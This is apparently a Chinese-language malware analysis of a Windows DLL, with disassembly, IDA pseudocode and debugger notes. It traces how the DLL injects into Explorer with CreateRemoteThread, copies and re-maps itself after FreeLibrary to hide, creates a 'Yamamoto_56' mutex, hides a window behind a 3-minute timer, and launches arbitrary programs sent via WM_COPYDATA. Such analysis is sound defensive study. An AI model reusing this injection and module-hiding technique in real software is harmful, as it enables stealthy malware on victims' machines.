1000241E E8 A1FFFFFF call 100023C4
10002423 85C0 test eax, eax
10002425 75 06 jnz short 1000242D
10002427 FF15 50100010 call dword ptr [10001050]
1000242D FF35 04260010 push dword ptr [10002604]
10002433 50 push eax
10002434 E8 23FEFFFF call 1000225C
10002439 59 pop ecx
1000243A 59 pop ecx
1000243B C3 retn
【函数 sub_100023c4】 分析:
int __cdecl sub_100023C4()
{
HMODULE v0
HMODULE v1
FARPROC v2
FARPROC v3
FARPROC v4
int v5
int result
int v7
v0 = LoadLibraryA("user32")
v1 = v0
if ( v0
&& (v3 = GetProcAddress(v0, "FindWindowA"), v2 = GetProcAddress(v1, "GetWindowThreadProcessId"), v4 = v2, v3)
&& v2
&& (v5 = ((int (__stdcall *)(_DWORD, _DWORD))v3)("Shell_TrayWnd", 0)) != 0 )
{
((void (__stdcall *)(int, int *))v4)(v5, &v7)
result = v7
}
else
{
result = 0
}
return result
}
【函数 sub_1000225c】分析:
①根据传进来的进程ID打开进程
②根据传进来的dll基址,获得敏感函数地址,这里是获得CreateRemoteThread函数
1000225C 55 push ebp
1000225D 8BEC mov ebp, esp
1000225F B8 10100000 mov eax, 1010
10002264 E8 F7010000 call 10002460
10002269 53 push ebx
1000226A FF75 08 push dword ptr [ebp+8]
1000226D 33DB xor ebx, ebx
1000226F 53 push ebx
10002270 68 FF0F1F00 push 1F0FFF
10002275 895D F8 mov dword ptr [ebp-8], ebx
10002278 FF15 7C100010 call dword ptr [1000107C]
1000227E 3BC3 cmp eax, ebx
10002280 8945 FC mov dword ptr [ebp-4], eax
10002283 0F84 35010000 je 100023BE
10002289 56 push esi
1000228A 68 44130010 push 10001344
1000228F FF15 28100010 call dword ptr [10001028]
10002295 8BF0 mov esi, eax
10002297 68 108C80FF push FF808C10
1000229C 56 push esi
1000229D E8 8FF1FFFF call 10001431
100022A2 3BC3 cmp eax, ebx
100022A4 8945 F0 mov dword ptr [ebp-10], eax
100022A7 0F84 07010000 je 100023B4
100022AD A1 24100010 mov eax, dword ptr [10001024]
100022B2 8985 04F8FFFF mov dword ptr [ebp-7FC], eax
100022B8 A1 84100010 mov eax, dword ptr [10001084]
100022BD 8985 F4F7FFFF mov dword ptr [ebp-80C], eax
100022C3 A1 4C100010 mov eax, dword ptr [1000104C]
100022C8 57 push edi
100022C9 8985 F8F7FFFF mov dword ptr [ebp-808], eax
100022CF A1 8C100010 mov eax, dword ptr [1000108C]
100022D4 68 7C130010 push 1000137C
100022D9 56 push esi
100022DA 8985 F0F7FFFF mov dword ptr [ebp-810], eax
100022E0 FF15 80100010 call dword ptr [10001080]
100022E6 8985 08F8FFFF mov dword ptr [ebp-7F8], eax
100022EC A1 9C100010 mov eax, dword ptr [1000109C]
100022F1 8985 FCF7FFFF mov dword ptr [ebp-804], eax
100022F7 A1 90100010 mov eax, dword ptr [10001090]
100022FC 8985 00F8FFFF mov dword ptr [ebp-800], eax
10002302 B8 A4210010 mov eax, 100021A4
10002307 2B45 0C sub eax, dword ptr [ebp+C]
1000230A 68 04010000 push 104
1000230F 8985 0CF8FFFF mov dword ptr [ebp-7F4], eax
10002315 8D85 10F8FFFF lea eax, dword ptr [ebp-7F0]
1000231B 50 push eax
1000231C FF75 0C push dword ptr [ebp+C]
1000231F FF15 54100010 call dword ptr [10001054]
10002325 68 00080000 push 800
1000232A 8D85 F0EFFFFF lea eax, dword ptr [ebp-1010]
10002330 68 C9210010 push 100021C9
10002335 50 push eax
10002336 E8 11010000 call 1000244C
1000233B 83C4 0C add esp, 0C
1000233E 6A 40 push 40
10002340 BE 00100000 mov esi, 1000
10002345 56 push esi
10002346 56 push esi
10002347 53 push ebx
10002348 FF75 FC push dword ptr [ebp-4]
1000234B FF15 68100010 call dword ptr [10001068]
10002351 8BF8 mov edi, eax
10002353 3BFB cmp edi, ebx
10002355 74 5C je short 100023B3
10002357 8D45 F4 lea eax, dword ptr [ebp-C]
1000235A 50 push eax
1000235B 56 push esi
1000235C 8D85 F0EFFFFF lea eax, dword ptr [ebp-1010]
10002362 50 push eax
10002363 57 push edi
10002364 FF75 FC push dword ptr [ebp-4]
10002367 FF15 6C100010 call dword ptr [1000106C]
1000236D 85C0 test eax, eax
1000236F 74 42 je short 100023B3
10002371 8D45 F4 lea eax, dword ptr [ebp-C]
10002374 50 push eax
10002375 53 push ebx
10002376 8D87 00080000 lea eax, dword ptr [edi+800]
1000237C 50 push eax
1000237D 57 push edi
1000237E 53 push ebx
1000237F 53 push ebx
10002380 FF75 FC push dword ptr [ebp-4]
10002383 FF55 F0 call dword ptr [ebp-10]
10002386 8BF0 mov esi, eax
10002388 3BF3 cmp esi, ebx
1000238A 74 17 je short 100023A3
1000238C 6A FF push -1
1000238E 56 push esi
1000238F FF15 48100010 call dword ptr [10001048]
10002395 56 push esi
10002396 FF15 94100010 call dword ptr [10001094]
1000239C C745 F8 0100000>mov dword ptr [ebp-8], 1
100023A3 68 00800000 push 8000
100023A8 53 push ebx
100023A9 57 push edi
100023AA FF75 FC push dword ptr [ebp-4]
100023AD FF15 44100010 call dword ptr [10001044]
100023B3 5F pop edi
100023B4 FF75 FC push dword ptr [ebp-4]
100023B7 FF15 94100010 call dword ptr [10001094]
100023BD 5E pop esi
100023BE 8B45 F8 mov eax, dword ptr [ebp-8]
100023C1 5B pop ebx
100023C2 C9 leave
100023C3 C3 retn
【函数 sub_10001431】分析:
int __stdcall sub_10001431(int a1, int a2)
{
int v2
int result
int v4
int v5
int v6
int v7
int v8
unsigned int v9
unsigned int v10
v2 = a1
if ( a1 )
{
v6 = *(_DWORD *)(*(_DWORD *)(a1 + 60) + a1 + 120)
v10 = 0
v7 = v2 + v6
v5 = v2 + *(_DWORD *)(v7 + 32)
v4 = v2 + *(_DWORD *)(v7 + 28)
v8 = v2 + *(_DWORD *)(v7 + 36)
v9 = *(_DWORD *)(v7 + 24)
if ( v9 )
{
while ( sub_100013F9(v2 + *(_DWORD *)(v5 + 4 * v10)) != a2 )
{
++v10
if ( v10 >= v9 )
goto LABEL_6
}
result = v2 + *(_DWORD *)(v4 + 4 * *(_WORD *)(v8 + 2 * v10))
}
else
{
LABEL_6:
result = 0
}
}
else
{
result = 0
}
return result
}
【注入Explorer后远程线程】分析: 调试方法: 先把代码停在下面这句 10002362 50 push eax 然后 d eax 刚好是dll!10021c9函数的代码 然后 d eax+0x800 从上到下从左到右依次是函数: LoadLibraryA, FreeLibrary, IsBadReadPtr, VirtualAlloc,VirtualFree,ExitThread,RtlMoveMemory的地址 因此WriteProcessMemory并不是简单把dll!100021c9处的0x800个字节拷贝的自己的进程空间,0x800后面的一些是远程线程的参数,参数也不止这几个函数地址,其实还有dll的全路径 再把代码停在下面这句 10002383 FF55 F0 call dword ptr [ebp-10] ; 创建远程线程 然后,用OD 附加到Explorer进程上去,然后看一下地址02cd0000,发现刚好是我们拷贝过去的dll!100021c9函数的内容,在这里下个断点 bp 02cd0000,先不要跑起来,先看看02cd0800处的参数是不是跟上面一样 d 02cd0000 d 02cd0000+0x800
参数不光这几个api地址,还有dll全路径。 现在把dll跑起来,发现被附加的Explorer进程断下来了,停在02cd0000处 【功能描述】: 此函数是一个远程线程函数, 参数就是本函数地址+0x800 ①LoadLibraryA上面分析的dll, LoadLibraryA的地址就藏在+0x800后面的地址,dll全路径也是 ②根据PE格式和dll基址, 计算本dll的镜像大小,VirtualAlloc申请这么大一片内存 ③拷贝整个dll镜像(dll基址开始的镜像大小个字节)到新申请的内存 ④FreeLibrary释放dll ⑤继续以释放的dll基址为起始地址 VirtualAlloc申请同样大小的内存 ⑥拷贝第一次申请的内存的数据到第二次申请的内存数据 ⑦执行一个dll函数,虽然此时dll已经被释放了,数据在内存里,找到那个地址,执行之。 ⑧释放第一次申请的内存数据,清理资源,远程线程结束。 End:精彩之处在于差不多dll模块信息,但是可以调用dll函数,重定位等工作loadlibrary已经帮你完成了,精彩! 02CD0000 55 push ebp
02CD0001 8BEC mov ebp, esp
02CD0003 51 push ecx
02CD0004 56 push esi
02CD0005 8B75 08 mov esi, dword ptr [ebp+8]
02CD0008 57 push edi
02CD0009 8D46 20 lea eax, dword ptr [esi+20]
02CD000C 50 push eax
02CD000D FF16 call dword ptr [esi]
02CD000F 8BF8 mov edi, eax
02CD0011 85FF test edi, edi
02CD0013 74 73 je short 02CD0088
02CD0015 8B47 3C mov eax, dword ptr [edi+3C]
0x3c是IMAGE_DOS_HEADER 的e_lfanew变量的偏 移
02CD0018 8365 08 00 and dword ptr [ebp+8], 0
02CD001C 53 push ebx
02CD001D 8B5C38 50 mov ebx, dword ptr [eax+edi+50]
02CD0021 53 push ebx
02CD0022 57 push edi
02CD0023 FF56 08 call dword ptr [esi+8]
02CD0026 85C0 test eax, eax
02CD0028 75 24 jnz short 02CD004E
02CD002A 8B46 1C mov eax, dword ptr [esi+1C]
02CD002D 03C7 add eax, edi
02CD002F 8945 FC mov dword ptr [ebp-4], eax
02CD0032 74 1A je short 02CD004E
02CD0034 6A 04 push 4
02CD0036 68 00100000 push 1000
02CD003B 53 push ebx
02CD003C 6A 00 push 0
02CD003E FF56 0C call dword ptr [esi+C]
02CD0041 85C0 test eax, eax
02CD0043 8945 08 mov dword ptr [ebp+8], eax
02CD0046 74 06 je short 02CD004E
02CD0048 53 push ebx
02CD0049 57 push edi
02CD004A 50 push eax
02CD004B FF56 18 call dword ptr [esi+18]
02CD004E 57 push edi
02CD004F FF56 04 call dword ptr [esi+4]
02CD0052 837D FC 00 cmp dword ptr [ebp-4], 0
02CD0056 74 1C je short 02CD0074
02CD0058 6A 40 push 40
02CD005A 68 00300000 push 3000
02CD005F 53 push ebx
02CD0060 57 push edi
02CD0061 FF56 0C call dword ptr [esi+C]
02CD0064 3BC7 cmp eax, edi
如果不相等就跳走了
02CD0066 75 0C jnz short 02CD0074
02CD0068 53 push ebx
02CD0069 FF75 08 push dword ptr [ebp+8]
02CD006C 57 push edi
02CD006D FF56 18 call dword ptr [esi+18]
02CD0070 57 push edi
02CD0071 FF55 FC call dword ptr [ebp-4]
02CD0074 837D 08 00 cmp dword ptr [ebp+8], 0
02CD0078 5B pop ebx
02CD0079 74 0D je short 02CD0088
02CD007B 68 00800000 push 8000
02CD0080 6A 00 push 0
02CD0082 FF75 08 push dword ptr [ebp+8]
02CD0085 FF56 10 call dword ptr [esi+10]
02CD0088 6A 00 push 0
02CD008A FF56 14 call dword ptr [esi+14]
02CD008D 5F pop edi
02CD008E 5E pop esi
02CD008F C9 leave
02CD0090 C2 0400 retn 4
//上面红色的实际上的调用原dll中sub_100021a4代码
【函数 sub_100021a4】分析:
功能分析:功能非常简单, 创建一个线程, 线程地址是1002033, 参数是dll基址
100021A4 /. 55 push ebp
100021A5 |. 8BEC mov ebp, esp
100021A7 |. 8D45 08 lea eax, dword ptr [ebp+8]
100021AA |. 50 push eax
100021AB |. 33C0 xor eax, eax
100021AD |. 50 push eax
100021AE |. FF75 08 push dword ptr [ebp+8]
100021B1 |. 68 33200010 push 10002033
100021B6 |. 50 push eax
100021B7 |. 50 push eax
100021B8 |. FF15 2C100010 call dword ptr [<&KERNEL32.CreateThre>
100021BE |. 50 push eax
100021BF |. FF15 94100010 call dword ptr [<&KERNEL32.CloseHandl>
100021C5 |. 5D pop ebp
100021C6 \. C2 0400 retn 4
IDA伪代码如下:
BOOL __stdcall sub_100021A4(LPVOID ThreadId)
{
HANDLE v2
v2 = CreateThread(0, 0, StartAddress, ThreadId, 0, (LPDWORD)&ThreadId)
return CloseHandle(v2)
}
根据我的跟踪调试,上面的红色代码push的地址 就是原dll中 sub_10002033代码
【函数 sub_10002033】分析:(这是附加到Explorer进程调试的 代码一样基址不一样 不影响分析)
功能分析:
①创建一个名为"Yamamoto_56"互斥量,如果互斥量已经存在就返回。
②注册一个窗体类,并创建一个窗体,并将窗体隐藏,窗体WndProc地址是原dll地址sub_10001f91
③调用原dll的函数sub_10001cc6,参数有2个,第一个参数是窗体句柄,第二个参数是1
④设置一个定时器,句柄就是窗体句柄,每3分钟执行一次,定时器ID = 1
⑤创建一个线程,线程地址是原dll函数 sub_10002033,也就是他自己?!自己创建自己地址的线程啊,狠~~~,不过没什么关系, 因为下次的时候,那个互斥量就存在了,然后就返回了.
End:剩下的任务就是分析上面提到的这2个标红的地址函数做了些什么就ok了
02992033 55 push ebp
02992034 8BEC mov ebp, esp
02992036 83EC 6C sub esp, 6C
02992039 56 push esi
0299203A 57 push edi
0299203B 8B7D 08 mov edi, dword ptr [ebp+8]
0299203E 33F6 xor esi, esi
02992040 3BFE cmp edi, esi
02992042 74 56 je short 0299209A
02992044 53 push ebx
02992045 33DB xor ebx, ebx
02992047 43 inc ebx
02992048 53 push ebx
02992049 8D45 E0 lea eax, dword ptr [ebp-20]
0299204C 50 push eax
0299204D FF15 08109902 call dword ptr [2991008]
02992053 56 push esi
02992054 56 push esi
02992055 53 push ebx
02992056 8D45 E0 lea eax, dword ptr [ebp-20]
02992059 50 push eax
0299205A FF15 0C109902 call dword ptr [299100C]
02992060 8D45 E0 lea eax, dword ptr [ebp-20]
02992063 68 70139902 push 2991370
02992068 8945 F8 mov dword ptr [ebp-8], eax
0299206B 56 push esi
0299206C 8D45 F4 lea eax, dword ptr [ebp-C]
0299206F 50 push eax
02992070 C745 F4 0C00000>mov dword ptr [ebp-C], 0C
02992077 895D FC mov dword ptr [ebp-4], ebx
0299207A FF15 18109902 call dword ptr [2991018]
02992080 8945 08 mov dword ptr [ebp+8], eax
02992083 FF15 1C109902 call dword ptr [299101C]
02992089 3D B7000000 cmp eax, 0B7
0299208E 75 12 jnz short 029920A2
02992093 FF15 94109902 call dword ptr [2991094]
02992099 5B pop ebx
0299209A 5F pop edi
0299209B 33C0 xor eax, eax
0299209D 5E pop esi
0299209E C9 leave
0299209F C2 0400 retn 4
029920A2 A1 40119902 mov eax, dword ptr [2991140]
029920A7 68 2A209902 push 299202A
029920AC C745 94 3000000>mov dword ptr [ebp-6C], 30
029920B3 C745 98 0300000>mov dword ptr [ebp-68], 3
029920BA C745 9C 911F990>mov dword ptr [ebp-64], 2991F91
029920C1 8975 A0 mov dword ptr [ebp-60], esi
029920C4 8975 A4 mov dword ptr [ebp-5C], esi
029920C7 897D A8 mov dword ptr [ebp-58], edi
029920CA 8975 B0 mov dword ptr [ebp-50], esi
029920CD 8975 AC mov dword ptr [ebp-54], esi
029920D0 C745 B4 0600000>mov dword ptr [ebp-4C], 6
029920D7 8975 B8 mov dword ptr [ebp-48], esi
029920DA 8945 BC mov dword ptr [ebp-44], eax
029920DD 8975 C0 mov dword ptr [ebp-40], esi
029920E0 FF15 B8109902 call dword ptr [29910B8]
029920E6 68 68139902 push 2991368
029920EB FF15 28109902 call dword ptr [2991028]
029920F1 68 50139902 push 2991350
029920F6 50 push eax
029920F7 FF15 80109902 call dword ptr [2991080]
029920FD 53 push ebx
029920FE A3 00269902 mov dword ptr [2992600], eax
02992103 FF15 20109902 call dword ptr [2991020]
02992109 8D45 94 lea eax, dword ptr [ebp-6C]
0299210C 50 push eax
0299210D FF15 F4109902 call dword ptr [29910F4]
02992113 56 push esi
02992114 57 push edi
02992115 56 push esi
02992116 56 push esi
02992117 6A 64 push 64
02992119 6A 64 push 64
0299211B 56 push esi
0299211C 893D 10269902 mov dword ptr [2992610], edi
02992122 8B47 3C mov eax, dword ptr [edi+3C]
02992125 8B4438 50 mov eax, dword ptr [eax+edi+50]
02992129 56 push esi
0299212A 68 0000CF00 push 0CF0000
0299212F A3 14269902 mov dword ptr [2992614], eax
02992134 A1 40119902 mov eax, dword ptr [2991140]
02992139 50 push eax
0299213A 50 push eax
0299213B 56 push esi
0299213C FF15 F8109902 call dword ptr [29910F8]
02992142 56 push esi
02992143 56 push esi
02992144 8BF8 mov edi, eax
02992146 56 push esi
02992147 B8 10270000 mov eax, 2710
0299214C 50 push eax
0299214D 50 push eax
0299214E 57 push edi
0299214F FF15 FC109902 call dword ptr [29910FC]
02992155 56 push esi
02992156 57 push edi
02992157 FF15 00119902 call dword ptr [2991100]
0299215D 53 push ebx
0299215E 57 push edi
0299215F E8 62FBFFFF call 02991CC6
02992164 59 pop ecx
02992165 59 pop ecx
02992166 56 push esi
02992167 68 20BF0200 push 2BF20
0299216C 53 push ebx
0299216D 57 push edi
0299216E FF15 04119902 call dword ptr [2991104]
02992174 56 push esi
02992175 56 push esi
02992176 56 push esi
02992177 8D45 C4 lea eax, dword ptr [ebp-3C]
0299217A 50 push eax
0299217B FF15 08119902 call dword ptr [2991108]
02992181 83F8 FF cmp eax, -1
02992184 7C 08 jl short 0299218E
02992186 3BC6 cmp eax, esi
02992188 ^ 0F8E 0BFFFFFF jle 02992099
0299218E 8D45 C4 lea eax, dword ptr [ebp-3C]
02992191 50 push eax
02992192 FF15 0C119902 call dword ptr [299110C]
02992198 8D45 C4 lea eax, dword ptr [ebp-3C]
0299219B 50 push eax
0299219C FF15 10119902 call dword ptr [2991110]
029921A2 ^ EB D0 jmp short 02992174
029921A4 55 push ebp
029921A5 8BEC mov ebp, esp
029921A7 8D45 08 lea eax, dword ptr [ebp+8]
029921AA 50 push eax
029921AB 33C0 xor eax, eax
029921AD 50 push eax
029921AE FF75 08 push dword ptr [ebp+8]
029921B1 68 33209902 push 2992033
029921B6 50 push eax
029921B7 50 push eax
029921B8 FF15 2C109902 call dword ptr [299102C]
029921BE 50 push eax
029921BF FF15 94109902 call dword ptr [2991094]
029921C5 5D pop ebp
029921C6 C2 0400 retn 4
【窗体WndProc函数】分析:
功能分析:
这是一个窗体回调函数
①有WM_TIMER消息就直接执行函数 sub_10001CC6 ,这个函数还没开始分析,先不要着急
②有WM_COPYDATA消息,就取COPYDATASTRUCT.lpData这个字符串,然后创建一个进程,如果进程创建成功了,就把定时器杀 掉,当然在创建进程前 会去做 sub_10001F05 后面分析。
End:此窗体回调功能有些变态, 可以执行任意的进程(把exe全路径+参数 发个消息过来就行了), 并能定时去做sub_10001CC6。
.text:10001F91
.text:10001F91 sub_10001F91 proc near
.text:10001F91
.text:10001F91 StartupInfo = _STARTUPINFOA ptr -54h
.text:10001F91 ProcessInformation= _PROCESS_INFORMATION ptr -10h
.text:10001F91 hWnd = dword ptr 8
.text:10001F91 Msg = dword ptr 0Ch
.text:10001F91 wParam = dword ptr 10h
.text:10001F91 lParam = dword ptr 14h
.text:10001F91
.text:10001F91 push ebp
.text:10001F92 mov ebp, esp
.text:10001F94 sub esp, 54h
.text:10001F97 cmp [ebp+Msg], 4Ah
.text:10001F9B push edi
.text:10001F9C mov edi, [ebp+lParam]
.text:10001F9F jz short loc_10001FB9
.text:10001FA1 cmp [ebp+Msg], 113h
.text:10001FA8 jnz short loc_10002015
.text:10001FAA push [ebp+wParam]
.text:10001FAD push [ebp+hWnd]
.text:10001FB0 call sub_10001CC6
.text:10001FB5 pop ecx
.text:10001FB6 pop ecx
.text:10001FB7 jmp short loc_10002015
.text:10001FB9
.text:10001FB9
.text:10001FB9 loc_10001FB9:
.text:10001FB9 cmp dword ptr [edi], 200h
.text:10001FBF jnz short loc_10002015
.text:10001FC1 cmp dword ptr [edi+4], 104h
.text:10001FC8 jnz short loc_10002015
.text:10001FCA push esi
.text:10001FCB mov esi, [edi+8]
.text:10001FCE push esi
.text:10001FCF call GetFileAttributesA
.text:10001FD5 cmp eax, 0FFFFFFFFh
.text:10001FD8 jz short loc_10002014
.text:10001FDA lea eax, [ebp+StartupInfo]
.text:10001FDD push eax
.text:10001FDE call GetStartupInfoA
.text:10001FE4 or byte ptr [ebp+StartupInfo.dwFlags], 80h
.text:10001FE8 call sub_10001F05
.text:10001FED lea eax, [ebp+ProcessInformation]
.text:10001FF0 push eax
.text:10001FF1 lea eax, [ebp+StartupInfo]
.text:10001FF4 push eax
.text:10001FF5 xor eax, eax
.text:10001FF7 push eax
.text:10001FF8 push eax
.text:10001FF9 push eax
.text:10001FFA push eax
.text:10001FFB push eax
.text:10001FFC push eax
.text:10001FFD push eax
.text:10001FFE push esi
.text:10001FFF call CreateProcessA
.text:10002005 test eax, eax
.text:10002007 jz short loc_10002014
.text:10002009 push 1
.text:1000200B push [ebp+hWnd]
.text:1000200E call KillTimer
.text:10002014
.text:10002014 loc_10002014:
.text:10002014
.text:10002014 pop esi
.text:10002015
.text:10002015 loc_10002015:
.text:10002015
.text:10002015 push edi
.text:10002016 push [ebp+wParam]
.text:10002019 push [ebp+Msg]
.text:1000201C push [ebp+hWnd]
.text:1000201F call DefWindowProcA
.text:10002025 pop edi
.text:10002026 leave
.text:10002027 retn 10h
.text:10002027 sub_10001F91 endp
|